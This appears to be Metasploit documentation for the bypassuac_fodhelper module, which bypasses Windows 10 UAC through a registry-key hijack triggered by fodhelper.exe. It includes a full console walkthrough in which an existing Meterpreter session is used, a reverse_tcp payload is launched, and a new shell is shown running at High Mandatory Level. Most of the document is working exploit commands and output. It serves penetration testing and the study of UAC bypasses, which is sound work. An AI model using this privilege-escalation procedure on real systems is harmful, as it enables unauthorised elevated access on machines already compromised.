## Vulnerable Application

### Introduction

  This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
  the current user hive, and inserting a custom command that will get invoked when
  the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
  flag turned off.

  This module modifies a registry key, but cleans up the key once the payload has
  been invoked.

  The module does not require the architecture of the payload to match the OS. If
  specifying EXE::Custom your DLL should call ExitProcess() after starting your
  payload in a separate process.

## Usage

  You'll first need to obtain a session on the target system.
  Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options.
  The module use an hardcoded timeout of 5 seconds during which it expects fodhelper.exe to be launched on the target system.
  On slower system this may be too short, resulting in no session being created. In this case disable the automatic payload handler (`set DISABLEPAYLOADHANDLER true`)
  and manually create a job handler corresponding to the payload.

## Scenarios

```
msf > 
[*] Sending stage (1189423 bytes) to 192.168.50.4
[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100

msf > sessions -i 11
[*] Starting interaction with 11...

meterpreter > shell
Process 9496 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label"
whoami /all | findstr /C:"Mandatory Label"
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192                                                                                     

C:\Users\sasha\Desktop>exit
exit
meterpreter > 
Background session 11? [y/N]  
msf > use exploit/windows/local/bypassuac_fodhelper 
msf exploit(bypassuac_fodhelper) > set SESSION 11
SESSION => 11
msf exploit(bypassuac_fodhelper) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64


msf exploit(bypassuac_fodhelper) > set target 0
target => 0
msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(bypassuac_fodhelper) > run

[*] Started reverse TCP handler on 192.168.50.1:4445 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe
[*] Sending stage (957487 bytes) to 192.168.50.4
[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100
[*] Cleaining up registry keys ...

meterpreter > shell
Process 4076 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label"
whoami /all | findstr /C:"Mandatory Label"
ERROR: Unable to get user claims information.
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288                                                                                                 

C:\WINDOWS\system32>

```
